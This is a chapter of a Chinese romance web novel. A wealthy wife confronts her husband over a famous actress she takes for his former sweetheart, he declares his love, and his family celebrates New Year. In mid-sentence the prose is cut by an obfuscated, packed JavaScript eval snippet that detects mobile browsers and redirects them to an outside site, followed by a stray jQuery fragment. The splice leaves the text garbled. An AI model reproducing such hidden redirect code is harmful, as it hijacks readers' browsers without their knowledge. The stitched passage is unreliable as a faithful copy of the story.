许晗长相属于温柔秀美那一挂，笑起来温柔和煦如春风，是个古典美人。姜明曦记得，她当年是凭借一部民国戏走红的，出道就被人称呼为旗袍女神。
许晗望着姜明曦轻轻一笑，“我来京城参加春晚，所以特地来给爷爷奶奶拜年。”
姜明曦其实有点不明白，看起来谢家人对许晗印象还不错，为什么她和谢清卓没有走到最后？
姜明曦其实并不太擅长隐藏自己的情绪，从小到大，她都是千金大小姐，她想要的只需要勾勾手指就有人主动送上门来。她讨厌的，也绝对不会多看一眼。
所以她纵然现在脸上的笑容维持的很是和煦，但眼神还是泄露了心底的不爽。
她打了个哈欠，“打了半天麻将，有点累了，爷爷奶奶，爸妈，我回去休息一下。”
姜明曦不想看到许晗在他们家其乐融融的样子，索性眼不见心不烦。
同是女人，林薇芝微妙地觉擦到了姜明曦的情绪，她给谢清卓使了个眼色，“阿卓，你早上起那么早也累了吧，陪明曦一起回去休息吧。”
姜明曦回头扫了一眼许晗，“不用，家里还有客人呢，你就留下陪客人好了。”
谢清卓有点不解地看了一眼林薇芝，林薇芝恨铁不成钢给他使了个眼色。
姜明曦出了门，沿着玻璃回廊往西边楼阁那边走去，雪依旧纷纷扬扬地下着，院子里的积雪被仆人扫掉，现在又积了厚厚一层。
姜明曦站在廊檐下，仰头看着后院隐约露出的一株红梅，梅花现在开的正盛，佣人每天都会给她房中换一支新鲜的腊梅。
身后有脚步声追来，姜明曦没有回头也知道是谢清卓。
她冷嗤了一声，“怎么不留在前厅陪你的许小姐？”
谢清卓看着姜明曦冷淡的侧脸，后知后觉地品出了几分酸意，不知为何，看到姜明曦跟他甩脸子，他心里莫名有点爽。
谢清卓从背后抱住姜明曦，轻嗅了一下她头顶的发香，姜明曦挣扎着想要挣脱他的怀抱，却被人抱得更紧。
“老婆，你吃醋了？”
姜明曦一愣，她吃什么醋！她早就知道谢清卓有个白月光，至于他和许晗是怎么分开的姜明曦不关心。
她气的是，谢清卓竟然在大过年里把人领回家来！
“我跟她，是在大门口碰到的。”
姜明曦咬了咬牙，“鬼才信你。”
谢清卓搬过姜明曦的肩膀，让她面对着自己，他微微俯身望着她的眼睛，漂亮的狐狸眼里盛上了一丝委屈和怒意。
他举手发誓，“我发誓。”
姜明曦仰头，不甘示弱，“谢清卓，别忘了，你答应过我的，联姻，但是必须在家里人面前保持恩爱夫妻的样子！你现在这样，算不算违约？”
明明昨夜他们还疯狂地做了亲密事，今天他就带着白月光公然回家，这不是打她的脸？
她姜明曦就没受过这种委屈。
谢清卓愣住了，他看着姜明曦，沉默一瞬，“明曦，你是不是误会什么了？”
姜明曦也怔了一瞬，她误会了么？！她都是亲眼所见亲耳所听。
许晗跟谢家这么熟稔，他们之间的关系一定不简单。
“我误会？谢清卓，你和许晗究竟是什么关系你心里最清楚不过了。”
姜明曦拍开谢清卓的手转身回阁楼，虽然今天是大过年的，可是她觉得这个年过不过也就无所谓了。
她想回港城了！
谢清卓追回卧室的时候姜明曦已经开始收拾东西。
谢清卓彻底有点慌了，他关上门，从姜明曦手上拿掉她收好的包，“我和许晗什么关系也没有。”
姜明曦抬头，看着谢清卓那双漆黑的冷静的眸子，她冷笑，“谢清卓，你和许晗什么关系我不在乎，但是如果你还想继续这段婚姻，我希望你能遵守我们之间的协议。”
姜明曦绕过谢清卓开门想要离开，却被谢清卓关了门从背后拥住，女人的力量和男人的力量悬殊巨大，她挣脱不掉。于是低头狠狠地在谢清卓手腕上咬下去，谢清卓吃痛，却咬牙没松手。
“许晗是我家司机的女儿。”
淡淡的血腥味在唇齿间益散开来，姜明曦松开牙齿，看着谢清卓白皙手腕上那个鲜红的牙印，略微有些后悔。
“现在能冷静听我说了么？”
谢清卓松开姜明曦，看也没看手腕上的伤口，他摁着姜明曦的肩膀，姜明曦被迫坐在椅子上，谢清卓坐在她对面，“许晗的爸爸在我家当了十年司机，在许晗高中那年在出门接爷爷奶奶的时候遇到车祸去世，爷爷奶奶心疼许晗年幼无依，对她有愧，于是收养了她。”
姜明曦抱着胸，高冷地看着谢清卓，“青梅竹马的白月光，难怪......”
谢清卓哭笑不得，“什么白月光？”
姜明曦挑眉冷笑，“许晗不是你的白月光前女友？”
谢清卓直到此刻算是明白了姜明曦到底为什么会对他这么抵触，“什么白月光前女友！你听谁说的。”
姜明曦当然不会把陆衡供出来，她抿唇，“那你别管。”
谢清卓叹了口气，有点宠溺又有点无奈地看着姜明曦，“我和许晗什么关系都没有，明曦，我以为，你明白我的心意.......”
谢清卓微微倾身，握住姜明曦的手，“难道到现在你还不明白，和你结婚，不是被家里催婚，也不是因为商业利益，只因是你！”
姜明曦面对谢清卓这突如其来的表白，整个人都懵了，她愣了一瞬，看着谢清卓，执着地问，“许晗真不是你前女友？”
谢清卓低头看着姜明曦那张明媚张扬的脸，一时间气的无语，他伸手揽过她的肩膀，低头吻住她的唇。
姜明曦还在纠结于许晗的事，所以挣扎着想要推开他，却被谢清卓吻的更深。
她对他的吻向来没有抵抗力，直到两人都气喘吁吁，姜明曦彻底不再反抗，谢清卓才松开了她，他眸子里染上了一层薄薄的压抑的欲，“现在，懂了么？”
姜明曦后知后觉，“懂什么？”
谢清卓微吸了口气，耳根微红，“我爱的是你。”
姜明曦懵了一瞬，仿佛自己听错了什么，“你.......”
谢清卓把姜明曦拥入怀中，紧紧抱着，“这辈子，除你之外，我从未有过其他的女人。”
姜明曦感觉自己的心情像是坐了个过山车，有点恍惚又有点迷茫，谢清卓勾起她的下巴，四目相对，男人的眸子漆黑深沉，仿佛一个无底深渊。
“所以，明曦，你爱我吗？”
谢清卓知道，姜明曦曾经爱过徐承宇，所以他一直都在默默地努力想将那段感情从她的意识里抹去，余生用自己的一切将之填满。
可是他不确定，不确定姜明曦有没有真正地走出来，所以他一直秉持着循序渐进水到渠成的过程慢慢走进她的心。
姜明曦愣住了，她其实也不知道自己现在心里的感受。就像她曾经以为自己很爱徐承宇，可是如今想来其实也就那么回事。
她和徐承宇在一起的时间其实不长，也就是刚刚兴起就被迫结束了。所以她叛逆，她不甘心，那是她人生中遇到的第一个挫折，因此记忆犹新。
但谢清卓呢？
她和他待在一起被照顾的很好，很开心很安宁，她甚至迷恋上和他接吻□□.......那滋味每每想起来都让她心动不已。
但那就是爱么？！
姜明曦咬着唇，不知道该怎么回答谢清卓。
谢清卓扯开嘴角轻笑了一下，“我收回这个问题，以后，等你想告诉我的时候自己告诉我。”
他不想逼迫她，更不想听她说出违心的话。
姜明曦望着谢清卓眼底那抹失落，心口没来由地疼了一下。
这样骄傲的天之骄子，堂堂谢家的掌权人，这么放低身段卑微地去爱一个人。
偏偏这个人还不识好歹。
“谢清卓。”
姜明曦舌尖抵了抵牙齿，认真地道，“给我点时间，我需要整理清楚。”
她不是那种随便说爱的人，但是一旦认定了爱，会认真又热烈。
门口传来敲门声，姜明曦收回思绪，“谁啊。”
谢清韵在门外喊道，“嫂子，老妈让我来问你还打不打麻将了。”
姜明曦和谢清卓对视了一眼，谢清卓扬眉，让她自己决定。
姜明曦起身，整理了一下衣服和头发，开门，谢清韵一脸笑意站在门口，“没打扰到你们吧？”
姜明曦摇了摇头，“家里不是有
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15752112|170064||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
客人？还打什么麻将？”
谢清卓挑了挑眉，“你是说许晗姐吗，她已经走了。”
谢清韵顿了顿，望着姜明曦，“嫂子，你是不是不高兴？”
姜明曦回头扫了谢清卓一眼，“没有啊。”
谢清韵掩嘴轻笑，“其实许晗姐也就在我们家住了两年，考上大学后她就住校了，后来出道当明星之后我们联系的就很少了。说起来她也挺可怜的，许叔叔出车祸后，她妈妈就改嫁了，把她扔给了年迈的奶奶，爷爷奶奶是看她可怜才收养了她的。”
确实挺可怜的！但是不管谢清卓有没有喜欢过许晗，许晗对谢清卓的心思绝对不单纯，这是姜明曦作为女人的第六感。
姜明曦跟着谢清韵下楼，“那你哥和许晗关系怎么样？”
谢清卓就跟在两人身后，谢清韵回头看了大哥一眼，一时间不知道该说些什么，谢清卓轻咳了一声，谢清韵立刻道，“不怎么样！”
大过年的，姜明曦懒得和这对兄妹计较。
腊月29，农历新年。
这是姜明曦第一次离开父母在外面过年，相对于港城来说，京城的年味要格外重一些，一大早家里的老老少少都开始忙碌，爷爷亲手写的对联，谢清卓和谢清哲两人拿去贴在各自的门上。
林薇芝则在厨房里跟佣人一起忙碌，过年她们要亲自露一手做两个拿手好菜。
奶奶坐在客厅里剪窗花，谢清韵和姜明曦就在旁边学着帮忙剪。
年夜饭摆上桌之后，一家人对着祖宗牌位拜了拜，然后六点钟准时开饭。
天色将黑，雪依旧在下。
城里不让放鞭炮，但是偏远的地区就不限制了，远远地听到此起彼伏的鞭炮声，混合着烟火的声音。
姜明曦还是第一次觉得过年这么有意思，不像是在港城，每年过年姜家人都会聚在一起，父亲姜亭山永远都是那个坐在上位的皇帝，微笑着迎接儿孙们的朝贺。
大家明面上笑的都很开心，但是暗地里却谁也没把谁当过亲人。
吃完年夜饭，一家人坐在客厅里看春晚。
姜明曦站在窗边看外面落下的大雪，有点想家了。
家族群里姜亭山率先发了个大红包，小辈们纷纷来抢，姜明曦也点了进去，红包金额不算大，只有八千八。她也随大流地发了个谢谢爸爸的动图。
姜书柠的越洋视频电话也是在这个时候打过来的，电话那边，她应该是和朋友一起在外面庆祝，在一片绚烂的烟花之下，女孩笑容纯真，却掩饰不住眼底的孤单和落寞。
“小姑姑，过年快乐。”
姜明曦微笑，很想伸手摸摸她的头，“柠柠，过年也要快乐哦！多吃点好吃的。”
姜书柠笑了一下，“听说你今年是在京城过年的，感觉怎么样？”
姜明曦想了想，“挺好的，比港城有年味。”
姜书柠点了点头，“那肯定，怎么说也是京城啊～！”
姜明曦叹了口气，“你呀你，过年了也不知道回来看看，你爷爷上次还跟我念叨你呢。”
姜书柠笑容凝了一下，“我们学校就放了三天假，时间太短，回不去。”
姜明曦心知肚明，姜书柠十五岁就被送去了英国读书，整个高中生涯和大学生涯都在英国，也许她早就习惯了那边的生活，也许她只是不想回到港城这个伤心之地罢了。
“有没有想小姑姑？”
姜书柠甜笑，“想死你了，倒是你，小姑姑，自从跟姑父结婚之后你就很少给我发消息了。”
姜明曦挑眉，“我现在搞事业忙好嘛！”
她顿了顿，“等二月份去巴黎看秀的时候去看你！”
姜书柠，“一言为定！”
挂了电话，姜明曦又给姜书柠发了一个超级大红包。
这孩子一个人在国外，无依无靠的，她现在可是大老板了，大老板自然得多照顾一下自己的小辈。
谢清卓端着一杯热卡布奇诺递给姜明曦，“在聊什么？”
姜明曦回头，接过咖啡，“柠柠给我打电话拜年呢。”
父母那边她也早早地发过拜年视频了，但是一直没收到回复，估计还在忙着应酬。
京城市区不允许放烟花，吃完年夜饭，谢清韵提议去郊区放烟花。